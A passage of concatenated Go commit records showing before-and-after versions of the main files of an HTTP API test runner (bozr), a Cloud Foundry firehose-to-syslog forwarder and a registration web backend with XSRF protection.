		reporters = append(reporters, NewJUnitReporter(path))
	}
	reporter := NewMultiReporter(reporters...)
	reporter.Init()

	return reporter
}

func call(suitePath string, call Call, vars *Vars) *CallTrace {

	trace := &CallTrace{}
	execStart := time.Now()

	on := call.On

	bodyTmpl, err := on.BodyContent(suitePath)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	tmplCtx := NewTemplateContext(vars)

	bodyToSend := tmplCtx.ApplyTo(bodyTmpl)
	if tmplCtx.HasErrors() {
		trace.ErrorCause = tmplCtx.Error()
		return trace
	}

	req, err := populateRequest(on, bodyToSend, tmplCtx)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	trace.RequestDump = dumpRequest(req, bodyToSend)
	trace.RequestMethod = req.Method
	trace.RequestURL = req.URL.String()

	client := &http.Client{}

	resp, err := client.Do(req)

	if err != nil {
		debug.Print("Error when sending request", err)
		trace.ErrorCause = err
		return trace
	}

	defer resp.Body.Close()

	trace.ExecFrame = TimeFrame{Start: execStart, End: time.Now()}

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		debug.Print("Error reading response")
		trace.ErrorCause = err
		return trace
	}

	testResp := Response{http: resp, body: body}
	trace.ResponseDump = testResp.ToString()

	if err = call.Expect.populateWith(vars); err != nil {
		trace.ErrorCause = err
		return trace
	}

	exps, err := expectations(call.Expect, suitePath)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	for _, exp := range exps {
		checkErr := exp.check(&testResp)

		if checkErr != nil {
			trace.addError(checkErr)
			return trace
		}

		trace.addExp(exp.desc())
	}

	err = rememberBody(&testResp, call.Remember.BPath, vars)
	debug.Print(vars)
	if err != nil {
		debug.Print("Error remember")
		trace.ErrorCause = err // TODO trace.addError(err) to report
		return trace
	}

	rememberHeaders(testResp.http.Header, call.Remember.Headers, vars)

	return trace
}

func populateRequest(on On, body string, tmplCtx *TemplateContext) (*http.Request, error) {

	urlStr, err := urlPrefix(tmplCtx.ApplyTo(on.URL))
	if err != nil {
		return nil, errors.New("Cannot create request. Invalid url: " + on.URL)
	}

	dat := []byte(body)

	req, err := http.NewRequest(on.Method, urlStr, bytes.NewBuffer(dat))
	if err != nil {
		return nil, err
	}

	for key, valueTmpl := range on.Headers {
		req.Header.Add(key, tmplCtx.ApplyTo(valueTmpl))
	}

	q := req.URL.Query()
	for key, valueTmpl := range on.Params {
		q.Add(key, tmplCtx.ApplyTo(valueTmpl))
	}

	req.URL.RawQuery = q.Encode()

	if tmplCtx.HasErrors() {
		return nil, tmplCtx.Error()
	}

	return req, nil
}

func urlPrefix(p string) (string, error) {
	if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
		return p, nil
	}

	return concatURL(hostFlag, p)
}

func concatURL(base string, p string) (string, error) {
	baseURL, err := url.ParseRequestURI(base)
	if err != nil {
		return "", err
	}
	return baseURL.Scheme + "://" + baseURL.Host + path.Join(baseURL.Path, p), nil
}

func expectations(expect Expect, suitePath string) ([]ResponseExpectation, error) {
	var exps []ResponseExpectation
	if expect.StatusCode != 0 {
		exps = append(exps, StatusCodeExpectation{statusCode: expect.StatusCode})
	}

	if expect.BodySchemaURI != "" {
		schema, err := expect.loadSchemaFromURI()
		if err != nil {
			return nil, err
		}

		exps = append(exps, BodySchemaExpectation{
			schema:      schema,
			displayName: expect.BodySchemaURI,
		})
	}

	if expect.BodySchemaFile != "" {
		schema, err := expect.loadSchemaFromFile(suitePath)
		if err != nil {
			return nil, err
		}
		exps = append(exps, BodySchemaExpectation{
			schema:      schema,
			displayName: expect.BodySchemaFile,
		})
	}

	if expect.BodySchemaRaw != nil {
		exps = append(exps, BodySchemaExpectation{
			schema:      expect.BodySchemaRaw,
			displayName: "",
		})
	}

	if len(expect.BodyPath()) > 0 {
		exps = append(exps, BodyPathExpectation{pathExpectations: expect.BodyPath()})
	}

	if expect.Body != nil {
		exps = append(exps, BodyExpectation{ExpectedBody: expect.Body, Strict: false})
	}

	if expect.ExactBody != nil {
		exps = append(exps, BodyExpectation{ExpectedBody: expect.ExactBody, Strict: true})
	}

	if len(expect.Absent) > 0 {
		exps = append(exps, AbsentExpectation{paths: expect.Absent})
	}

	if len(expect.Headers) > 0 {
		for k, v := range expect.Headers {
			exps = append(exps, HeaderExpectation{Name: k, Value: v})
		}
	}

	if expect.ContentType != "" {
		exps = append(exps, ContentTypeExpectation{expect.ContentType})
	}

	// and so on
	return exps, nil
}

func rememberBody(resp *Response, remember map[string]string, vars *Vars) (err error) {

	for varName, pathLine := range remember {
		body, err := resp.Body()
		if err != nil {
			debug.Print("Can't parse response body to Map for [remember]")
			return err
		}

		if rememberVar, err := GetByPath(body, pathLine); err == nil {
			vars.Add(varName, rememberVar)
		} else {
			debug.Print(err)
			return fmt.Errorf("remembered value not found at path: %v", pathLine)
		}
	}

	return err
}

func rememberHeaders(header http.Header, remember map[string]string, vars *Vars) {
	for valueName, headerName := range remember {
		value := header.Get(headerName)
		if value == "" {
			continue
		}

		vars.Add(valueName, value)
	}
}

func dumpRequest(req *http.Request, body string) string {
	buf := bytes.NewBufferString("")

	buf.WriteString(fmt.Sprintf("%s %s %s\n", req.Method, req.URL.String(), req.Proto))

	for k, v := range req.Header {
		buf.WriteString(fmt.Sprintf("%s: %s\n", k, strings.Join(v, " ")))
	}

	if len(body) > 0 {
		buf.WriteString("\n")
		buf.WriteString(body)
	}

	return buf.String()
}

func terminate(msgLines ...string) {
	for _, line := range msgLines {
		fmt.Fprintln(os.Stderr, line)
	}

	os.Exit(1)
}

func debugf(format string, v ...interface{}) {
	if debug == nil {
		// fmt.Printf(format, v...)
		return
	}

	debug.Printf(format, v...)
}
<commit_msg>close #87 Provide ability to reference base_url (aka host) variable - revert unrelated changes<commit_after>package main

import (
	"bytes"
	"errors"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"os"
	"path"
	"path/filepath"
	"strings"
	"time"
)

const (
	version = "0.9.0"
)

func init() {
	flag.Usage = func() {
		h := "Usage:\n"
		h += "  bozr [OPTIONS] (DIR|FILE)\n\n"

		h += "Options:\n"
		h += "  -d, --debug		Enable debug mode\n"
		h += "  -H, --host		Base URI prefix for test calls\n"
		h += "  -w, --worker		Execute in parallel with specified number of workers\n"
		h += "      --throttle	Execute no more than specified number of requests per second (in suite)\n"
		h += "  -h, --help		Print usage\n"
		h += "  -i, --info		Enable info mode. Print request and response details\n"
		h += "      --junit		Enable junit xml reporter\n"
		h += "      --junit-output	Destination for junit report files\n"
		h += "  -v, --version		Print version information and quit\n\n"

		h += "Examples:\n"
		h += "  bozr ./examples\n"
		h += "  bozr -w 2 ./examples\n"
		h += "  bozr -H http://example.com ./examples \n"

		fmt.Fprintf(os.Stderr, h)
	}
}

var (
	suitesDir       string
	hostFlag        string
	workersFlag     int
	throttleFlag    int
	infoFlag        bool
	debugFlag       bool
	helpFlag        bool
	versionFlag     bool
	junitFlag       bool
	junitOutputFlag string

	debug *log.Logger
)

const (
	suiteExt        = ".suite.json"
	ignoredSuiteExt = ".xsuite.json"
)

func initLogger() {
	debugHandler := ioutil.Discard

	if debugFlag {
		debugHandler = os.Stdout
	}

	debug = log.New(debugHandler, "DEBUG: ", log.Ltime|log.Lshortfile)
}

func main() {
	flag.BoolVar(&debugFlag, "d", false, "Enable debug mode.")
	flag.BoolVar(&debugFlag, "debug", false, "Enable debug mode")

	flag.BoolVar(&infoFlag, "i", false, "Enable info mode. Print request and response details.")
	flag.BoolVar(&infoFlag, "info", false, "Enable info mode. Print request and response details.")

	flag.StringVar(&hostFlag, "H", "", "Test server address. Example: http://example.com/api.")
	flag.IntVar(&workersFlag, "w", 1, "Execute test sutes in parallel with provided numer of workers. Default is 1.")
	flag.IntVar(&throttleFlag, "throttle", 0, "Execute no more than specified number of requests per second (in suite)")

	flag.BoolVar(&helpFlag, "h", false, "Print usage")
	flag.BoolVar(&helpFlag, "help", false, "Print usage")

	flag.BoolVar(&versionFlag, "v", false, "Print version information and quit")
	flag.BoolVar(&versionFlag, "version", false, "Print version information and quit")

	flag.BoolVar(&junitFlag, "junit", false, "Enable junit xml reporter")
	flag.StringVar(&junitOutputFlag, "junit-output", "./report", "Destination for junit report files. Default ")

	flag.Parse()

	initLogger()

	if versionFlag {
		fmt.Println("bozr version " + version)
		return
	}

	if helpFlag {
		flag.Usage()
		return
	}

	if len(hostFlag) > 0 {
		_, err := url.ParseRequestURI(hostFlag)
		if err != nil {
			terminate("Invalid host is specified.")
			return
		}
	}

	if workersFlag < 1 || workersFlag > 9 {
		fmt.Println("Invalid number of workers:  [", workersFlag, "]. Setting to default [1]")
		workersFlag = 1
	}

	suitesDir = flag.Arg(0)

	if suitesDir == "" {
		flag.Usage()
		fmt.Println()
		terminate("You must specify a directory or file with tests.")
		return
	}

	// check specified source dir/file exists
	_, err := os.Lstat(suitesDir)
	if err != nil {
		terminate(err.Error())
		return
	}

	err = ValidateSuites(suitesDir, suiteExt, ignoredSuiteExt)
	if err != nil {
		terminate("One or more test suites are invalid.", err.Error())
		return
	}

	loader := NewSuiteLoader(suitesDir, suiteExt, ignoredSuiteExt)
	reporter := createReporter()

	RunParallel(loader, reporter, runSuite, workersFlag)
}

func runSuite(suite TestSuite) []TestResult {
	results := []TestResult{}

	throttle := NewThrottle(throttleFlag, time.Second)

	for _, testCase := range suite.Cases {

		result := TestResult{
			Suite:     suite,
			Case:      testCase,
			ExecFrame: TimeFrame{Start: time.Now(), End: time.Now()},
		}

		if testCase.Ignore != nil {
			result.Skipped = true
			result.SkippedMsg = *testCase.Ignore

			results = append(results, result)
			continue
		}

		vars := NewVars(hostFlag)
		for i, c := range testCase.Calls {

			throttle.RunOrPause()

			err := vars.AddAll(c.Args)
			if err != nil {
				result.Traces = append(result.Traces, &CallTrace{ErrorCause: err, Num: i})
				break
			}

			trace := call(suite.Dir, c, vars)
			trace.Num = i

			result.Traces = append(result.Traces, trace)

			if trace.hasError() {
				break
			}
		}

		unused := vars.Unused()
		if len(unused) != 0 {
			traces := result.Traces
			lastTrace := traces[len(traces)-1]
			lastTrace.addError(fmt.Errorf("Unused variables found: %s", unused))
		}

		result.ExecFrame.End = time.Now()

		results = append(results, result)
	}

	return results
}

func createReporter() Reporter {
	reporters := []Reporter{NewConsoleReporter(infoFlag)}
	if junitFlag {
		path, _ := filepath.Abs(junitOutputFlag)
		reporters = append(reporters, NewJUnitReporter(path))
	}
	reporter := NewMultiReporter(reporters...)
	reporter.Init()

	return reporter
}

func call(suitePath string, call Call, vars *Vars) *CallTrace {

	trace := &CallTrace{}
	execStart := time.Now()

	on := call.On

	bodyTmpl, err := on.BodyContent(suitePath)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	tmplCtx := NewTemplateContext(vars)

	bodyToSend := tmplCtx.ApplyTo(bodyTmpl)
	if tmplCtx.HasErrors() {
		trace.ErrorCause = tmplCtx.Error()
		return trace
	}

	req, err := populateRequest(on, bodyToSend, tmplCtx)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	trace.RequestDump = dumpRequest(req, bodyToSend)
	trace.RequestMethod = req.Method
	trace.RequestURL = req.URL.String()

	client := &http.Client{}

	resp, err := client.Do(req)

	if err != nil {
		debug.Print("Error when sending request", err)
		trace.ErrorCause = err
		return trace
	}

	defer resp.Body.Close()

	trace.ExecFrame = TimeFrame{Start: execStart, End: time.Now()}

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		debug.Print("Error reading response")
		trace.ErrorCause = err
		return trace
	}

	testResp := Response{http: resp, body: body}
	trace.ResponseDump = testResp.ToString()

	if err = call.Expect.populateWith(vars); err != nil {
		trace.ErrorCause = err
		return trace
	}

	exps, err := expectations(call.Expect, suitePath)
	if err != nil {
		trace.ErrorCause = err
		return trace
	}

	for _, exp := range exps {
		checkErr := exp.check(&testResp)

		if checkErr != nil {
			trace.addError(checkErr)
			return trace
		}

		trace.addExp(exp.desc())
	}

	err = rememberBody(&testResp, call.Remember.BPath, vars)
	debug.Print(vars)
	if err != nil {
		debug.Print("Error remember")
		trace.ErrorCause = err // TODO trace.addError(err) to report
		return trace
	}

	rememberHeaders(testResp.http.Header, call.Remember.Headers, vars)

	return trace
}

func populateRequest(on On, body string, tmplCtx *TemplateContext) (*http.Request, error) {

	urlStr, err := urlPrefix(tmplCtx.ApplyTo(on.URL))
	if err != nil {
		return nil, errors.New("Cannot create request. Invalid url: " + on.URL)
	}

	dat := []byte(body)

	req, err := http.NewRequest(on.Method, urlStr, bytes.NewBuffer(dat))
	if err != nil {
		return nil, err
	}

	for key, valueTmpl := range on.Headers {
		req.Header.Add(key, tmplCtx.ApplyTo(valueTmpl))
	}

	q := req.URL.Query()
	for key, valueTmpl := range on.Params {
		q.Add(key, tmplCtx.ApplyTo(valueTmpl))
	}

	req.URL.RawQuery = q.Encode()

	if tmplCtx.HasErrors() {
		return nil, tmplCtx.Error()
	}

	return req, nil
}

func urlPrefix(p string) (string, error) {
	if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
		return p, nil
	}

	return concatURL(hostFlag, p)
}

func concatURL(base string, p string) (string, error) {
	baseURL, err := url.ParseRequestURI(base)
	if err != nil {
		return "", err
	}
	return baseURL.Scheme + "://" + baseURL.Host + path.Join(baseURL.Path, p), nil
}

func expectations(expect Expect, suitePath string) ([]ResponseExpectation, error) {
	var exps []ResponseExpectation
	if expect.StatusCode != 0 {
		exps = append(exps, StatusCodeExpectation{statusCode: expect.StatusCode})
	}

	if expect.BodySchemaURI != "" {
		schema, err := expect.loadSchemaFromURI()
		if err != nil {
			return nil, err
		}

		exps = append(exps, BodySchemaExpectation{
			schema:      schema,
			displayName: expect.BodySchemaURI,
		})
	}

	if expect.BodySchemaFile != "" {
		schema, err := expect.loadSchemaFromFile(suitePath)
		if err != nil {
			return nil, err
		}
		exps = append(exps, BodySchemaExpectation{
			schema:      schema,
			displayName: expect.BodySchemaFile,
		})
	}

	if expect.BodySchemaRaw != nil {
		exps = append(exps, BodySchemaExpectation{
			schema:      expect.BodySchemaRaw,
			displayName: "",
		})
	}

	if len(expect.BodyPath()) > 0 {
		exps = append(exps, BodyPathExpectation{pathExpectations: expect.BodyPath()})
	}

	if expect.Body != nil {
		exps = append(exps, BodyExpectation{ExpectedBody: expect.Body, Strict: false})
	}

	if expect.ExactBody != nil {
		exps = append(exps, BodyExpectation{ExpectedBody: expect.ExactBody, Strict: true})
	}

	if len(expect.Absent) > 0 {
		exps = append(exps, AbsentExpectation{paths: expect.Absent})
	}

	if len(expect.Headers) > 0 {
		for k, v := range expect.Headers {
			exps = append(exps, HeaderExpectation{Name: k, Value: v})
		}
	}

	if expect.ContentType != "" {
		exps = append(exps, ContentTypeExpectation{expect.ContentType})
	}

	// and so on
	return exps, nil
}

func rememberBody(resp *Response, remember map[string]string, vars *Vars) (err error) {

	for varName, pathLine := range remember {
		body, err := resp.Body()
		if err != nil {
			debug.Print("Can't parse response body to Map for [remember]")
			return err
		}

		if rememberVar, err := GetByPath(body, pathLine); err == nil {
			vars.Add(varName, rememberVar)
		} else {
			debug.Print(err)
			return fmt.Errorf("Remembered value not found, path: %v", pathLine)
		}
	}

	return err
}

func rememberHeaders(header http.Header, remember map[string]string, vars *Vars) {
	for valueName, headerName := range remember {
		value := header.Get(headerName)
		if value == "" {
			continue
		}

		vars.Add(valueName, value)
	}
}

func dumpRequest(req *http.Request, body string) string {
	buf := bytes.NewBufferString("")

	buf.WriteString(fmt.Sprintf("%s %s %s\n", req.Method, req.URL.String(), req.Proto))

	for k, v := range req.Header {
		buf.WriteString(fmt.Sprintf("%s: %s\n", k, strings.Join(v, " ")))
	}

	if len(body) > 0 {
		buf.WriteString("\n")
		buf.WriteString(body)
	}

	return buf.String()
}

func terminate(msgLines ...string) {
	for _, line := range msgLines {
		fmt.Fprintln(os.Stderr, line)
	}

	os.Exit(1)
}

func debugf(format string, v ...interface{}) {
	if debug == nil {
		// fmt.Printf(format, v...)
		return
	}

	debug.Printf(format, v...)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"github.com/boltdb/bolt"
	"github.com/cloudfoundry-community/firehose-to-syslog/caching"
	"github.com/cloudfoundry-community/firehose-to-syslog/events"
	"github.com/cloudfoundry-community/firehose-to-syslog/firehose"
	"github.com/cloudfoundry-community/firehose-to-syslog/logging"
	"github.com/cloudfoundry-community/go-cfclient"
	"gopkg.in/alecthomas/kingpin.v1"
	"os"
	"time"
)

var (
	debug             = kingpin.Flag("debug", "Enable debug mode. This disables forwarding to syslog").Bool()
	domain            = kingpin.Flag("domain", "Domain of your CF installation.").Default("10.244.0.34.xip.io").String()
	syslogServer      = kingpin.Flag("syslog-server", "Syslog server.").String()
	subscriptionId    = kingpin.Flag("subscription-id", "Id for the subscription.").Default("firehose").String()
	user              = kingpin.Flag("user", "Admin user.").Default("admin").String()
	password          = kingpin.Flag("password", "Admin password.").Default("admin").String()
	skipSSLValidation = kingpin.Flag("skip-ssl-validation", "Please don't").Bool()
	wantedEvents      = kingpin.Flag("events", fmt.Sprintf("Comma seperated list of events you would like. Valid options are %s", events.GetListAuthorizedEventEvents())).Default("LogMessage").String()
)

func main() {
	kingpin.Version("0.0.2 - ba541ca")
	kingpin.Parse()

	//Use bolt for in-memory  - file caching
	db, err := bolt.Open("my.db", 0600, &bolt.Options{Timeout: 1 * time.Second})
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error opening bolt db", err)
		os.Exit(1)

	}
	defer db.Close()

	apiEndpoint := fmt.Sprintf("https://api.%s", *domain)
	uaaEndpoint := fmt.Sprintf("https://uaa.%s", *domain)
	dopplerEndpoint := fmt.Sprintf("wss://doppler.%s", *domain)

	c := cfclient.Config{
		ApiAddress:   apiEndpoint,
		LoginAddress: uaaEndpoint,
		Username:     *user,
		Password:     *password,
	}
	cfClient := cfclient.NewClient(&c)

	selectedEvents := events.GetSelectedEvents(*wantedEvents)

	logging.SetupLogging(*syslogServer, *debug, db)

	//Let's Update the database the first time

	caching.FillDatabase(db, cfClient)

	token := cfClient.GetToken()

	firehose := firehose.CreateFirehoseChan(dopplerEndpoint, token, *subscriptionId, *skipSSLValidation)

	events.RouteEvents(firehose, selectedEvents)
}
<commit_msg>Add ticker strategy<commit_after>package main

import (
	"fmt"
	"github.com/boltdb/bolt"
	"github.com/cloudfoundry-community/firehose-to-syslog/caching"
	"github.com/cloudfoundry-community/firehose-to-syslog/events"
	"github.com/cloudfoundry-community/firehose-to-syslog/firehose"
	"github.com/cloudfoundry-community/firehose-to-syslog/logging"
	"github.com/cloudfoundry-community/go-cfclient"
	"gopkg.in/alecthomas/kingpin.v1"
	"os"
	"time"
)

var (
	debug             = kingpin.Flag("debug", "Enable debug mode. This disables forwarding to syslog").Bool()
	domain            = kingpin.Flag("domain", "Domain of your CF installation.").Default("10.244.0.34.xip.io").String()
	syslogServer      = kingpin.Flag("syslog-server", "Syslog server.").String()
	subscriptionId    = kingpin.Flag("subscription-id", "Id for the subscription.").Default("firehose").String()
	user              = kingpin.Flag("user", "Admin user.").Default("admin").String()
	password          = kingpin.Flag("password", "Admin password.").Default("admin").String()
	skipSSLValidation = kingpin.Flag("skip-ssl-validation", "Please don't").Bool()
	wantedEvents      = kingpin.Flag("events", fmt.Sprintf("Comma seperated list of events you would like. Valid options are %s", events.GetListAuthorizedEventEvents())).Default("LogMessage").String()
	boldDatabasePath  = kingpin.Flag("boltdb-path", "Bolt Database path ").Default("my.db").String()
	tickerTime        = kingpin.Flag("cc-pool-time", "CloudController Pooling time in sec").Default("5s").Duration()
)

func main() {
	kingpin.Version("0.0.2 - ba541ca")
	kingpin.Parse()

	apiEndpoint := fmt.Sprintf("https://api.%s", *domain)
	uaaEndpoint := fmt.Sprintf("https://uaa.%s", *domain)
	dopplerEndpoint := fmt.Sprintf("wss://doppler.%s", *domain)

	c := cfclient.Config{
		ApiAddress:   apiEndpoint,
		LoginAddress: uaaEndpoint,
		Username:     *user,
		Password:     *password,
	}
	cfClient := cfclient.NewClient(&c)

	//Use bolt for in-memory  - file caching
	db, err := bolt.Open(*boldDatabasePath, 0600, &bolt.Options{Timeout: 1 * time.Second})
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error opening bolt db", err)
		os.Exit(1)

	}
	defer db.Close()

	// Ticker Pooling the CC every X sec
	ccPooling := time.NewTicker(*tickerTime)

	go func() {
		fmt.Println(ccPooling.C)
		for t := range ccPooling.C {
			caching.FillDatabase(db, cfClient)

		}

	}()

	selectedEvents := events.GetSelectedEvents(*wantedEvents)

	logging.SetupLogging(*syslogServer, *debug, db)

	//Let's Update the database the first time

	caching.FillDatabase(db, cfClient)

	token := cfClient.GetToken()

	firehose := firehose.CreateFirehoseChan(dopplerEndpoint, token, *subscriptionId, *skipSSLValidation)

	events.RouteEvents(firehose, selectedEvents)
}
<|endoftext|>


<commit_before>package main

import (
	"crypto/rand"
	"crypto/subtle"
	"encoding/base64"
	"encoding/gob"
	"fmt"
	"log"
	"net/http"
	"strings"
	"time"

	"github.com/CCJ16/registration/regbackend/boltorm"
	"github.com/boltdb/bolt"
	"github.com/gorilla/mux"
	"github.com/gorilla/sessions"
	"github.com/spacemonkeygo/errors"
	"github.com/spacemonkeygo/errors/errhttp"
	goflagutils "github.com/MJDSys/flagfile/utils"
	"github.com/yosssi/boltstore/reaper"
	"github.com/yosssi/boltstore/store"
)

var (
	SetupErrors   = errors.NewClass("Error during setup")
	SecurityError = errors.NewClass("Security setup failed")
)

const (
	globalSessionName = "SESSION"
)

var httpConfig struct {
	Listen string `default:":8080" usage:"Address for server to listen on"`
}

var emailConfig struct {
	FromAddress  string `default:"no-reply@invalid" usage:"From address for use in emails"`
	FromName     string `usage:"From name for use in emails"`
	ContactEmail string `default:"info@invalid" "usage:"Contact email address for use in emails"`
	Server       string `default:"localhost:25" usage:"Server to use for sending messages"`
}

var generalConfig struct {
	Domain              string `default:"invalid" usage:"Domain for use in emails, etc to link people to"`
	Database            string `default:"records.bolt" usage:"Location to store the database"`
	AccessToken         string `usage:"Token to access database.  Generated randomly and printed if not set"`
	StaticFilesLocation string `default:"../app" usage:"Location of static files for the site"`
	Integration         bool   `default:"false" usage:"Set when running an integration binary for testing."`
	Develop             bool   `default:"false" usage:"Set when running a binary for development."`
}

type stringSliceConfig []string

func (s *stringSliceConfig) Set(value string) error {
	*s = strings.Split(value, ",")
	return nil
}

func (s stringSliceConfig) String() string {
	return fmt.Sprintf("\"%s\"", strings.Join(s, ","))
}

var authConfig struct {
	ClientID      string            `default:"" usage:"Client id for use with Google OAuth"`
	ClientSecret  string            `default:"" usage:"Client secret for use with Google OAuth"`
	AllowedEmails stringSliceConfig `usage:"Allowed email addresses, comma separated."`
}

func init() {
	goflagutils.Setup("http", &httpConfig)
	goflagutils.Setup("email", &emailConfig)
	goflagutils.Setup("auth", &authConfig)
	goflagutils.Setup("", &generalConfig)
}

type requestLogger struct {
	H http.Handler
}

type wWrapperLogger struct {
	code int
	http.ResponseWriter
}

func (w *wWrapperLogger) WriteHeader(code int) {
	w.code = code
	w.ResponseWriter.WriteHeader(code)
}

func (h *requestLogger) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	start := time.Now()
	wrappedW := &wWrapperLogger{
		ResponseWriter: w,
		code:           http.StatusOK, // Default code
	}
	h.H.ServeHTTP(wrappedW, r)
	duration := time.Now().Sub(start)
	log.Printf("Handled request for url %s, code %v, took %s seconds", r.URL, wrappedW.code, duration)
}

type grabDb struct {
	db *bolt.DB
}

func (h *grabDb) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	err := h.db.View(func(tx *bolt.Tx) error {
		w.Header()["Content-Length"] = []string{fmt.Sprint(tx.Size())}
		return tx.Copy(w)
	})
	if err != nil {
		log.Panicf("Got error while copying database %s", err)
	}
}

type sessionSaver struct {
	h http.Handler
}

type wWrapperSession struct {
	req *http.Request
	http.ResponseWriter
	valid bool
}

func (w *wWrapperSession) WriteHeader(code int) {
	err := sessions.Save(w.req, w.ResponseWriter)
	if err != nil {
		http.Error(w.ResponseWriter, "Failed to save user session", http.StatusServiceUnavailable)
		log.Print("Failed to setup user session: ", err)
		w.valid = false
		return
	}
	w.ResponseWriter.WriteHeader(code)
}

func (w *wWrapperSession) Write(p []byte) (int, error) {
	if !w.valid {
		return len(p), nil
	} else {
		return w.ResponseWriter.Write(p)
	}
}

func (h *sessionSaver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	h.h.ServeHTTP(&wWrapperSession{r, w, true}, r)
}

func httpError(w http.ResponseWriter, err error) {
	http.Error(w, errhttp.GetErrorBody(err), errhttp.GetStatusCode(err, 500))
}

type xsrfTokenCreator struct {
	Handler http.Handler
	store   sessions.Store
}

type xsrfSessionTokenType int

const xsrfSessionToken xsrfSessionTokenType = 0

func init() {
	gob.Register(xsrfSessionToken)
}

func (h *xsrfTokenCreator) setXsrfToken(w http.ResponseWriter, r *http.Request) error {
	var random [33]byte
	if _, err := rand.Read(random[:]); err != nil {
		return SecurityError.New("Failed to generate XSRF prevention token")
	}
	key := base64.URLEncoding.EncodeToString(random[:])
	const maxAge = 60 * 60 * 24 * 30
	expires := time.Now().Add(maxAge * time.Second)
	cookie := &http.Cookie{
		Name:     "XSRF-TOKEN",
		Value:    key,
		HttpOnly: false,
		Path:     "/",
		Secure:   !(generalConfig.Integration || generalConfig.Develop),
		Expires:  expires,
		MaxAge:   maxAge,
	}
	http.SetCookie(w, cookie)

	sess, err := sessions.GetRegistry(r).Get(h.store, globalSessionName)
	if err != nil && sess == nil {
		log.Print("Failed to setup session, error: ", err)
		return SecurityError.New("Failed to setup session")
	}
	sess.Values[xsrfSessionToken] = key

	return nil
}

func (h *xsrfTokenCreator) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if err := h.setXsrfToken(w, r); err != nil {
		httpError(w, err)
	} else {
		h.Handler.ServeHTTP(w, r)
	}
}

type xsrfVerifierHandler struct {
	creator *xsrfTokenCreator
	Handler http.Handler
}

func (h *xsrfVerifierHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	var tokenHeader, tokenSession string
	// Empty tokenHeaders are considered invalid.  So unless this matches my expectations, I can ignore it.
	tokenHeader = r.Header.Get("X-Xsrf-Token")
	// If err != nil or the conversion fails, tokenSession is empty and can't match a non-empty tokenHeader and is thus safe to ignore.
	if session, err := h.creator.store.Get(r, globalSessionName); err == nil {
		tokenSession, _ = session.Values[xsrfSessionToken].(string)
	}
	if err := h.creator.setXsrfToken(w, r); err != nil {
		log.Print("Failed to create new token when verifying, error swallowed (%s)!", err)
	}
	if len(tokenHeader) != 0 && subtle.ConstantTimeCompare([]byte(tokenSession), []byte(tokenHeader)) == 1 {
		h.Handler.ServeHTTP(w, r)
	} else {
		http.Error(w, "Invalid XSRF token", http.StatusBadRequest)
	}
}

type httpRouter interface {
	Handle(string, http.Handler)
	HandleFunc(string, func(http.ResponseWriter, *http.Request))
	ServeHTTP(http.ResponseWriter, *http.Request)
}

func setupStandardHandlers(globalRouter httpRouter, db *bolt.DB) (http.Handler, chan<- struct{}, <-chan struct{}, error) {
	key := generalConfig.AccessToken
	if key == "" {
		var random [32]byte
		if _, err := rand.Read(random[:]); err != nil {
			return nil, nil, nil, SetupErrors.New("During startup, failed to get entropy", err)
		}
		key = base64.URLEncoding.EncodeToString(random[:])
		log.Print("DB Token: ", key)
	}

	r := mux.NewRouter()
	ormDb := boltorm.NewBoltDB(db)
	apiR := r.PathPrefix("/api/").Subrouter()
	boltStore, err := store.New(db, store.Config{
		SessionOptions: sessions.Options{
			Path:     "/",
			MaxAge:   60 * 60 * 24 * 30,
			Secure:   !(generalConfig.Integration || generalConfig.Develop),
			HttpOnly: true,
		},
		DBOptions: store.Options{
			BucketName: []byte("SESSIONS_BUCKET"),
		},
	}, []byte(key))
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to setup session data")
	}

	invDb, err := NewInvoiceDb(ormDb)
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to get invoice database started")
	}

	gprdb, err := NewPreRegBoltDb(ormDb, invDb)
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to get group preregistration database started", err)
	}

	ces := NewConfirmationEmailService(generalConfig.Domain, emailConfig.FromAddress, emailConfig.FromName, emailConfig.ContactEmail, NewLocalMailder(emailConfig.Server), gprdb)

	authHandler := NewAuthenticationHandler(apiR, boltStore)
	NewGroupPreRegistrationHandler(apiR, gprdb, authHandler, ces)

	apiR.Handle("/grabdb", &grabDb{db}).Headers("X-My-Auth-Token", key).Methods("GET").Queries("key", key)

	globalRouter.Handle("/api/", &xsrfVerifierHandler{&xsrfTokenCreator{nil, boltStore}, apiR})
	otherFiles := http.FileServer(http.Dir(generalConfig.StaticFilesLocation))
	globalRouter.Handle("/app.css", otherFiles)
	globalRouter.Handle("/app.js", otherFiles)
	globalRouter.Handle("/components/", otherFiles)
	globalRouter.Handle("/views/", otherFiles)
	globalRouter.Handle("/bower_components/", otherFiles)
	indexLocation := generalConfig.StaticFilesLocation + "/index.html"
	globalRouter.Handle("/", &xsrfTokenCreator{http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		http.ServeFile(w, r, indexLocation)
	}), boltStore})
	quitC, doneC := reaper.Run(db, reaper.Options{BucketName: []byte("SESSIONS_BUCKET")})
	return &sessionSaver{globalRouter}, quitC, doneC, nil
}
<commit_msg>Go 1.3's subtle.ConstantTimeCompare expects equal length byte slices.<commit_after>package main

import (
	"crypto/rand"
	"crypto/subtle"
	"encoding/base64"
	"encoding/gob"
	"fmt"
	"log"
	"net/http"
	"strings"
	"time"

	"github.com/CCJ16/registration/regbackend/boltorm"
	"github.com/boltdb/bolt"
	"github.com/gorilla/mux"
	"github.com/gorilla/sessions"
